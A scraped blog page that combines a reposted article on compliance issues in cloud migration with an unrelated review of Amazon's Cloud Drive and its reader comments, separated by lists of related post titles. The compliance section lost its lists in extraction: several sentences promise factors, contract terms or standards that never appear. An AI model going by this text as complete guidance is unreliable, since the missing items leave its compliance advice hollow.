There are many areas that have to be considered when seeking to look at migrating to a cloud architecture from a compliance perspective. Compliance factors in cloud-based environments include:
Managing compliance effectively within a cloud environment starts with the contract with your cloud provider. This contract should cover areas such as:
Ultimately, you have to be able to trust your CSP, which in turn requires a degree of transparency from that provider as to their operational processes and environment. This balance between transparency and the opposing requirement for confidentiality is a major challenge. What you need as a customer is the ability to make informed decisions as to the degree of risk that moving to a cloud-based environment entails, while not requiring the cloud service provider to disclose their proprietary systems and processes.
Note:
This degree of risk will vary according to the confidentiality of the data that you are processing in the cloud and the level of regulatory oversight to which your organization is exposed.
Like any other large IT project, the core part of moving to a cloud computing environment is assessment and management of the risk associated with this move. In many ways, these risks are broadly the same as with any other outsourcing project, it is just that the nature of the computing environment is less well defined (unlike a data center outsourcing, you may not be able to visit the multiple facilities that are hosting your cloud-based environment) and your relationship with the cloud service provider may primarily be through a web portal, not through face-to-face meetings.
As with any area that involves compliance, it is essential that you have confidence in your cloud services provider. A key factor in establishing that confidence is that should be looking at organizations who can demonstrate that they meet the following standards:
RESOURCES:
Regulatory Compliance: Is it Impossbile in the Cloud?
ACKNOWLEDGEMENTS LIST:
If you edit this page and would like acknowledgement of your participation in the v1 version of this document set, please include your name below:
[Enter your name here and include any contact information you would like to share]
Return to Cloud Computing Security Architecture
Return to Reference Architecture for Private Cloud
NMAP : information gathering with mmap (0) | 2013.02.17 |
---|---|
Cookie with HTTPOnly Flag (XSS Protection) (1) | 2013.02.02 |
AMAZON Security Pros and Cons (0) | 2013.01.23 |
Metasploit : Bind TCP ? Reverse TCP? (1) | 2012.11.06 |
Samsung Galaxy S III Hacking (0) | 2012.09.27 |
At first glance, Amazon's new Cloud Drive service looks like just a rad new version of Dropbox, with gigs of digital space on Amazon's sturdy servers and an easy interface for web and Android users. But take a closer look -- with its streaming music player, it's actually very well positioned as a newer, easier, better iTunes.
Until now, there's never been an easy way to share music between devices. At least when it comes to Apple products, users have to load their files into iTunes, then go through a rigamarole of authenticating devices and synching them to the device holding the files. The music is only accessible on that satellite device, and storage on the device can fill up quickly.
But with Amazon's new Cloud Drive service, those days of cords and cursing may be over. Each user gets a digital space called a "locker", and these lockers can hold music files purchased from anywhere and then stream them using Amazon's Cloud Player application, accessible through the web or any smartphone.
How It Works
Getting set up is, ahem, a breeze. After installation, the Amazon MP3 Uploader automatically scans your computer for any music files or playlists, compares them to your locker, then imports the new files.
1.
2.
3.
Listening to music is theoretically just as easy. The Amazon Cloud Player streams to any web browser, and there's an Android app. Mashablediscovered a way to hack it to play on iOS devices, though it isn't perfect.
Another con is cost. After the first 5 gb, it's about a buck a gig, which can add up quickly for any significantly-sized music collection.
But player problems aside, for anyone who's ever lost a music collection after a hard drive crash, this idea makes a lot of sense. And generally, having access to a large storage space that's secure and easily accessible seems like a fair deal.
So, is being first best? Google has been rumored to be working on a similar cloud storage system, and now that it's being threatened Apple is sure to throw its hat into the ring.
But for now, Amazon is here, it's free and it's easy. And you can't ask for much more than that.
(Image: Flickr member turtlemom4bacon licensed for use under Creative Commons)
When wireless providers start tiering data plans, streaming music from "the cloud" is going to be expensive...
i think it's a great idea and i'm really happy that Amazon is becoming a part of so many great things.
but like NathBattles said..it'll be pretty damn expensive when providers start tiering data plans...wish they didn't have to do that.
At first glance, Amazon's new Cloud Drive service looks like just a severely handicapped version of Dropbox. Please correct me if I'm wrong, but apparently
... it doesn't have a native client on any desktop OS, requiring you to manually upload files or scan for a small set of file types.
... it doesn't have a native client for iOS, which happens to be a wildly popular mobile device OS.
... it doesn't sync with any computer platform, so it can't be used to keep multiple systems in line.
... it doesn't do drag and drop photo albums (or in fact any albums at all).
... it can't be used for sharing.
... it doesn't have revision control, allowing you to revert to a previous version of a file.
There are a lot of cloud storage solutions out there, but I think the comparison with Dropbox is off base.
curby, this is for music only...think of it as a music only version of Dropbox. Hence, you are not supposed to be able to revise the files or share the music or add photo albums...among many other limitations. Also, rumor is that Apple will be doing this for iTunes so why would they allow Amazon to create their own app?
Here in Canada, the ISPs were about to have tiered internet but the government is "investigating" it so they have to put it on hold. They even released the pricing plans. If a family uses Apple TV or netflix and start streaming all your music etc, eventually it'll get very expensive.
News of this service has been making the blogsphere rounds as a general file storage service. I mean, Lifehacker just had a comparison between Dropbox, Could Drive, and Sky Drive.
I'm not sure whether it's supposed to be music only (aside from some of Amazon's music-centric features such as the cloud player) but if people are going to speak of it in such general terms, it needs to be evaluated and compared on those terms. If this article started with "This looks like a Dropbox for your music," that would put the entire discussion in a different, and IMHO more accurate, light.
2c
Curby, I thought your comment might be referring to that first sentence. Sorry if the comparison to Dropbox makes it unclear; I agree with all of your points, and you're right in saying that the lack of sharing makes it dissimilar. At the same time, it was the first thing I thought of when I saw the announcement, and it's the example that makes the most sense to me.
In probing a bit, it became clear that it's definitely a direct challenge to Apple. I chose to focus on that aspect here, because I thought it would be the most useful information for our readers. But I personally will use it for backup file storage only, and not as a music player, so that's how I approached this post.
Thanks for sharing all your points, and for being polite as you did so. In the end, I think that the discussion that take place in the comments add a lot of value to the posts, and you're doing a great job to clarify and refine the points made.
I find it interesting that Amazon beat Apple to punch with regards to the cloud music offering. Back in 2008 I started using Lala.com to stream music to my desktop while at work. Basically it was similar to Pandora except you could pick and choose specific songs for a nominal fee. Apple bought them out and shut them down over a year ago, but have yet to utilize their technology...rather disappointing. iTunes is a cash cow for Apple, but I'm so terribly sick of it. Every damn time I open it I'm asked to upgrade to the newest version...unfortunately it's too inconvenient for me to switch b/c of my iPhone.
@TimmyDrizz, there's evidence that Apple took the time-consuming step of making the labels happy by talking to them about their service and making sure that they're okay with it, probably with monetary compensation. Amazon didn't.
The surprise here isn't that Apple came later. After all, look at Bluray drive adoption, cut and paste functionality on mobile devices, etc. The surprise is that they're taking time to reach out to industry partners, instead of playing hardball as they've been infamous for.
Followup, with a headline you wouldn't have dreamed of five years ago: "Music labels to Google: We're counting on Apple"
http://news.cnet.com/8301-
"Since neither [Google nor Amazon] was either able or willing to obtain licenses from the four major labels, neither of them could deliver the same range of options that Apple will be able to offer with its upcoming cloud service, according to multiple music industry sources."
Cookie with HTTPOnly Flag (XSS Protection) (1) | 2013.02.02 |
---|---|
Cloud and Compliance Issues (0) | 2013.01.25 |
Metasploit : Bind TCP ? Reverse TCP? (1) | 2012.11.06 |
Samsung Galaxy S III Hacking (0) | 2012.09.27 |
HTML5 Top 3 Vulnerability (2) | 2012.09.25 |